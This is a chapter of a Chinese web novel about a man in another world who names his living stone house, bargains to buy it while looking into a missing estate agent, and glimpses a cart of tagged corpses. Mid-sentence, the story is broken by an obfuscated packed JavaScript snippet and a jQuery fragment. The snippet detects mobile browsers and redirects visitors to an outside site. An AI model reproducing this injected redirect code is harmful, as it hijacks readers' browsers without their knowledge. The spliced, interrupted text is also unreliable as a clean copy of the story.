“唰!”窗帘整齐划开,木制窗户错开缝隙,凌冽的空气涌入室内。
角落里的衣帽架像触手一般伸长,夹起搭在椅背上的外套,然后挂在自己身上。
整个房间一阵抖动,灰尘簌簌落下,飘了季泠州一脸。
接着,家具、地板上的灰尘团在一起,被窗户一口吐了出去。
初步智能化的房屋让季泠州很满意,它的功能比预想中还要强。
自动完成家务、开关门窗、禁止未经允许的访客进入(点名塔洛恩)……
美中不足的是,这段介绍他越看越别扭。
【季泠州的石头小屋:你的家拥有了部分休息室的能力。它活了过来,深深地眷恋着你,自认为是你的第一个孩子,请给他起个名字。注:请尽快买下孩子的产权,以防骨肉分离的人间惨剧。】
喜报,继“爱人”之后。他现在,似乎又多了个孩子。
啊这!
季泠州揉了揉鼻子,决定给石头小屋起名为“彼方”。
异世界的家,不正是彼方吗?希望有一天自己能像天命皇帝一样,找到回家的路。
虽然没什么证据,但他坚定认为天命不是失踪了,而是成功回家了,搞不好在地球,自己还认识祂。
“彼方,这个名字……可以吗?”他不自在地开口。
房间因喜悦而颤动。
茶几上的茶壶殷切地倒了杯茶,杯子抖动着飘到他嘴边。
季泠州试着提出请求:“我想喝点热的。”
茶杯飞进厨房,煤气炉瞬间点燃,大火灼烧着杯子。
不出意料,杯子炸了,茶水溅得到处都是。一块抹布急匆匆擦着茶水,手忙脚乱间,不慎被点燃。
水龙头射出一股水流,将火焰扑灭。
这一切都在电光火石间完成,季泠州看得眼都直了。
“杯子是不能加热的。你可以烧点水,重新泡一壶,茶叶在柜子里。”他以尽可能直白的语言描述自己的需求。
十分钟后,季泠州坐在餐桌前无可奈何。
面前的铸铁锅里,煮着满满一锅泡开的茶叶,氤氲热气模糊了视线。
彼方还贴心地准备了一套刀叉。
看到季泠州许久不动,厨房水龙头悄悄旋开,水一滴滴落下,彼方哭了。
水流迅速变大,唰唰唰地往外流,很快满出了池子,溢到外面。
“没事。不是你的问题,是我没说清楚。”季泠州慌张地安慰彼方。
再不停下来,整个家就要被彼方的眼泪淹没了。当然,市政厅的水费账单会更快到来。
水龙头主动关掉了。
火再次燃起,开始炙烤铁锅,一块干巴面包飘起砸进锅里。
季泠州脸色一沉,连忙说:“彼方,停下!你现在不需要学做饭。”
浓烈的焦糊味儿传出,面包已经烧黑了。
“听我说。我让你做什么,你就做什么。没有指令,不要自己决定。”
房屋轻轻一颤,表示明白。
“我出去一趟,不要让任何人进来。”他披上外套,不放心又叮嘱了一句。
“切记,也不要做任何家务,任何!”
季泠州飞速离开这个让他哭笑不得的家,直奔街对面的金罗勒餐馆。
他必须得吃点东西,吃些铁锅煮的茶、炭黑面包以外的食物。
在昨天的老位置,他行云流水般点完菜,挥手招来昨天的红发服务生,照例先递过去两个生丁的小费。
接着打听道:““昨晚城里起火了。你知道是哪里吗?”
红发服务生拿到小费微微一笑,四下巡视发现没人注意这边,立刻熟练地坐到季泠州身边,说:
“先生,这事你问我就对了。是缝纫匠大道。煤气漏了,烧了好几幢房子。”
“还有其它事情发生吗?”
“您想问哪种事?”红发服务生眨眨眼睛。
“比较不同寻常的事情。”
“倒是有一件怪事。面包店的老恩肖死了,死前还做了满满一橱柜的面包,有人说他可能是累死的。”
“还有呢?”
“没有了。涅伽拉德一直太平,您住这儿,算是挑对地方了。”红发服务生看到店主的目光朝这里扫来,连忙站起来,开始擦旁边的桌子。
在季泠州看来,一切正常恰恰是最不正常的信号。
看看时间,已经是下午一点了,到了房屋中介的工作时间。他买了杯咖啡,拿在手上,一边喝一边往他们的办公室走去。
“请问豪斯先生在吗?”今天房屋中介公司的人意外地全员到齐,但没人说话,气氛沉重。
前台听到季泠州的话,明显紧张起来:“不在,豪斯先生已经好几天没出现了。”
头发稀疏的主管猛得瞪了前台一眼,吓得她连忙改口:“不,豪斯先生离职了,我可以为您介绍别的同事。”
工作人员顿时噤若寒蝉,大气都不敢喘,季泠州扫视人群。
【粗心】、【正直】、【交友广泛】、【摸鱼大师】、【爱吃甜甜圈】、【女装爱好者】、【自虐狂】、【好人】、【谨慎分裂】、【卷王】……
嚯!小小一间办公室,还真是仙之人兮列如麻呀!
“女士,请问可以叫那位穿深蓝色正装,褐色头发的先生帮助我吗?”季泠州果断了选了有【正直】和【交友广泛】标签的中介。
前台点点头:“罗索先生,麻烦你来一下。”
罗索看到季泠州很是惊讶,小跑着过来了,带他去了会客室。
“您是季先生吧,我记得你是豪斯的客户。我有什么能帮助你的吗?”罗索单刀直入问道。
“我想把我的房子买下来。”
“明白了。”罗索在身后的档案柜里翻找了一番,回答,“你需要支付三百七十个金帆,手续费包含在内。”
“能少一些吗?我刚到涅伽拉德,手头不算宽裕。”季泠州的积蓄支付房款绰绰有余,但他不想给别人留下大方豪爽的印象。
罗索脸上露出难为的神色:“季先生,我们的价格都是主管定的,我做不了主。”
“豪斯先生呢?他去哪了?”季泠州忽然问了一句。
罗索眉头微微一皱,随即恢复
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182887|196972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平静:“帮您搬家那天,他下班后就消失了。”
“您知道他最后出现的地方吗?”
“不知道,我和他交集不多。”
撒谎,季泠州曾看到罗索搭着豪斯的肩膀,俩人一起说话时亲密的样子。
“好。三百五十金帆,是我的底限。”他迅速转回来话题。
“我请示一下主管。”罗索嘴角微翘,很明显生意做成了。
季泠州跟着站起身,顺带瞄了一眼他手上的登记簿:“带我一起去吧,我想亲自和他谈谈。”
主管的办公室,季泠州合上门。
秃头的主管满脸笑意,泡了杯茶推过来。
在涅伽拉德,很少有人能攒够买房子的钱,任何一笔卖房订单对于分部来说都是大业务。
季泠州没有兜圈子:“先生,我听到了一些不太体面的传闻。有人说你们的工作人员拿着业主的钥匙入室盗窃,然后失踪了。”
“我买这套房子,是想挂在你们这里租赁钻钱,这些传闻让我很是犹豫。”
主管端着杯子的手僵住了,连忙辩解:“这是谣言,请问季先生是在哪里听来的?”
季泠州嗤笑一声:“恕我无法奉告。我还想问一句,豪斯先生去哪了?”
主管满头大汗,很明显眼前的客户知道些什么,糊弄不过去。
“前几日,豪斯先生取忘拿的记事本,路上遭遇了歹徒。目前我们雇佣了侦探正在寻找他,相信很快就能有结果。”
“失踪在三色堇大道191号吧?”他随口报出了在登记簿上瞥见的地址。
“不,是在阿兰家附近。”主管下意识反驳,随即意识到失言,脸色骤变,“你……你是记者?请你立刻离开这里。”
季泠州摇摇头,掏出钱袋放在桌子上:“不,我是来买房的,只是买房前总得问问清楚,不是吗?”
最后,石头小屋以340个金帆成交。
他收好房契,叫了辆租赁马车,朝塔洛恩给的地址而去。
“今天真是倒了大霉!”车夫忽然骂了一句。
“出什么事了?”车厢一阵摇曳,季泠州抓住扶手稳住身体,问。
车夫指着旁边那辆险些撞上二人的黑色马车,说:“该死的黑乌鸦,到处都是。”
“这是?”
“收尸人。先生,这趟得加钱,碰上他们可不吉利。”车夫苦笑。
“哦?”季泠州面色凝重地看着收尸马车,从车篷的缝隙能看到,里面塞满了堆叠的尸体,以老人居多,还掺了两个孩子。
他们像麻袋一样堆在一起,惨白的肢体叠在一起。
每具尸体的头顶,都浮现着相同的标签——【蠕行者的食物残渣】。
季泠州掏出一个生丁,递给车夫,顺便问了一句:“收尸人会把这些可怜人的尸体带到哪里去?”
“郊区墓地,专门埋我们这样的下等人。”车夫耸耸肩,一副见怪不怪的样子。
季泠州心里记下这个地址,决定抽时间去看看。从受害者身上,或许能推测出蠕行者的生效规则。
进而找到抵御它的办法。